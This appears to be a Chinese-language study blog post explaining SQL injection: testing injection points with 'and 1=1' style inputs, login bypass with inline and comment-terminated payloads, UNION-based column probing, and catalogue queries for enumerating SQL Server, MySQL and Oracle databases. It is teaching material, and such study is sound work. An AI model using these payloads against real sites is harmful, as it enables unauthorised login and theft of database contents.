学习:
本博文为公众号推文中SQL注入漏洞使用语句的原理学习,具体实践可查看博主以前的SQL注入博文,谢谢~
SQL语句
SQL(Structured Query Language)结构化的查询语言,是关系型数据库通讯的标准语言。
查询:SELECT statement FROM table WHERE condition
删除记录:DELETE FROM table WHERE condition
更新记录:UPDATE table SET field=value WHERE condtion
添加记录:INSERT INTO table field VALUES(values)
SQL注入漏洞产生的原因
个人理解,就是代码的健壮性不够
SQL注入步骤
- 判断注入点
- 判断注入点类型
- 判断数据库类型
- 获取数据库数据库,提权
判断注入点
http://host/test.php?id=100 and 1=1 返回成功
http://host/test.php?id=100 and 1=2 返回失败
第一个会返回成功,而第二个是返回失败的原因是:
假设我们网站的SQL查询的语句是这样的,SELECT * FROM news WHERE id=$id($id是用户提交的),如果输入“100 and 1=1”,语句就会变成SELECT * FROM news WHERE id=100 and 1=1。这个SQL语句and左边是返回成功的,因为我们是在有这个id的情况下后面加上我们的注入语句,如果这个id不存在,那就没法测试。而在and右边,1=1也是恒成立的,所以整个语句返回的是成功。如果后面改成了1=2的话,因为1=2是不成立的,and语句的判断逻辑是只要有一个不成立,就返回失败,所以1=2最后会返回的是失败。
字符型注入点的判断:
测试方法:
http://host/test.php?name=man' and '1'='1 返回成功
http://host/test.php?name=man' and '1'='2 返回失败
假设我们网站的SQL语句是这样的:SELECT * FROM news WHERE name='$name',当我们构造输入为下面这个的时候“man' and '1'='1”,语句就变成了SELECT * FROM news WHERE name='man' and '1'='1'。此时这个SQL已经闭合了这里and的左边是一定成立的,而and右边也是一样的成立,所以and逻辑之后,整个语句返回成功。同理可知如果后面是1'='2就会返回失败,当然,这里不一定非要是1或者2,因为是字符型,所以我们可以输入任何字符。比如
http://host/test.php?name=man' and 'a'='a 返回成功
http://host/test.php?name=man' and 'a'='b 返回失败
搜索型注入点的判断
测试方法
http://host//test.php?keyword=python%' and 1=1 and '%'='
http://host//test.php?keyword=python%' and 1=2 and '%'='
假设SQL查询语句是这样的:SELECT * FROM news WHERE keyword like '%$keyword%'($keyword是用户的输入),当输入以下语句的时候“python%' and 1=1 and '%'='”,最终得到的语句是这样的SELECT * FROM news WHERE keyword like '%python%' and 1=1 and '%'='%'
可以把这个语句分为三段
SELECT * FROM news WHERE keyword like '%python%'
and 1=1
and '%'='%'
上面的判断结果一定是成功的。
但是如果把第二句换成1=2,那么这个语句肯定就会返回失败了。
内联式SQL注入
内联注入是指查询注入SQL代码后,原来的查询仍然全部执行
假设网站SQL查询语句是这样的:SELECT * FROM admin WHER username='$name' AND password ='$passwd'。假如我们构造如下语句提交到登录框中的username为' or ''=',或者提交到password框里面,这两种提交方法是不一样的,我们下面就来分析一下这两个提交方法:
提交到username我们的语句就会成为这样:SELECT * FROM admin WHER username='' or ''='' AND password ='hello',hello是我们随便输入的字符串。
而提交到password则会是这样的:SELECT * FROM admin WHER username='hello' AND password ='' or ''=''
在SQL语句中,AND的优先级是大于OR的,于是会先计算AND,然后之后才会计算OR,所以这里我们的语句会被OR分为两段SQL语句
username框的
SELECT * FROM admin WHER username=''
or
''='' AND password ='hello'
password框的
SELECT * FROM admin WHER username='fuzz' AND password =''
or
''=''
首先计算AND之后
SELECT * FROM admin WHER username='' 返回失败
or
''='' AND password ='fuzz' 返回失败
数据库是不会存在username为NULL的字段的,第一句失败,第三句中,因为password是很可能不会存在的,AND之后,第三句也是失败的,所以整个语句返回失败的。
password情况:
SELECT * FROM admin WHER username='fuzz' AND password =''
or
''=''
第一句是失败的,但是第二句''=''是返回成功的,OR逻辑是有一个是成功就返回成功,整个语句就会返回成功,返回成功之后我们就会绕过登录表单直接登录系统了。
终止式SQL注入
终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句,被注释的查询不会被执行。
若在username框内填入' or ''=',程序是不会返回成功的但如果使用终止式注入,还是上面那个SQL查询语句
SELECT * FROM admin WHER username='$name' AND password ='$passwd'
这里构造如下username输入' or ''='' --,就可以得到如下的查询语句
SELECT * FROM admin WHER username='' or ''='' --' AND password ='fuzz'
fuzz是我们随便输入的,--是注释符
这样,语句就可以分为三个部分:
SELECT * FROM admin WHER username=''
or ''='' 返回成功
--' AND password ='fuzz'
可以成功通过在username做这个手脚来绕过登录。
常见的终止字符串:
-- , #, %23, %00, /*
终止方法:
-- , ‘-- , ‘)-- , ) -- , ‘)) --, ))--
注入点位置的判断
所有的输入只要和数据库进行交互的,都有可能触发SQL注入
常见的包括:
Get参数触发SQL注入
POST参数触发SQL注入
Cookie触发SQL注入
常见网站架构:
asp + access
asp + mssql
asp.net + mssql
php + mysql
Jsp + oracle
Jsp + mysql
常用的注入方法有:
1.UNION注入
UNION是数据库管理员经常使用且可以掌控的运算符之一,可以使用它连接两条或多条SELECT语句的查询结果
其基本语法如下:
SELECT colum1,colum2,colum3,…,columN FROM table1
UNION
SELECT colum1,colum2,colum3,…,columN FROM table2
如果应用返回第一个(原始)查询得到的数据,那么通过在第一个查询后注入一个UNION运算符,并添加另一个任意查询,便读取到数据库用户有权限访问的任何一张表。
使用规则为:
- 两个查询返回的列数必须相同
- 两个SELECT语句返回的数据库对应的列必须类型相同或兼容
- 通常只有终止式注入时,可较快猜解并利用,否则要知道原始的SQL语句才能比较方便的利用
UNION语句的构建
(1)确定列数量:
UNION SELECT null,null,null,…,null FROM dual
使用逐步增加null数量,直到匹配原语句的列数量,成功匹配后返回正常页面
这是利用了<两个查询返回的列数必须相同>这个原理
使用ORDER BY确定原语句列数量, 可使用折半查找法提高猜测效率
(2)确定列类型:
UNION SELECT 1,’2’,null,…,null FROM dual
先猜测第一列为数字,如果返回结果不正确,则判断为字符
如果还是不正确则保持null不变(可能为二进制类型),之后依次完成部分或全部类型的判断
Union不适用的地方
注入语句无法截断,且不清楚完整的SQL查询语句
Web页面中有两个SQL查询语句,查询语句的列数不同
枚举数据库
1.SQL Server
获取当前用户名
id=12 UNION SELECT null, null, user, null FROM master..sysdatabases
获取数据库列表
id=12 UNION SELECT null, null, name,null FROM master..sysdatabases
获取当前数据库名
id =12 UNION SELECT null,null,db_name(),null FROM master..sysdatabases
获取表名
id=12 UNION SELECT null,null,name,null FROM sysobjects where xtype=‘u’
获取字段名
id =12 UNION SELECT null,null,col_name(object_id(‘table_name’), 1), null FROM sysobject
2.MySQL
获取当前用户
SELECT user()
获取数据库列表
SELECT schema_name FROM information_schema.schemata
获取当前数据库
SELECT database()
获取表名
SELECT table_name FROM information_schema.tables WHERE table_schema='some_db'
获取字段名
SELECT some_columns FROM information_schema.columns WHERE table_name='some_name'
3.Oracle
Oracle只能访问一个数据库,无法枚举数据库
获取当前用户表名
SELECT table_name FROM user_tables
获取所有表名及拥有者
SELECT owner, table_name FROM all_tables
获取字段名
SELECT column_name FROM user_tab_columns WHERE table_name='table'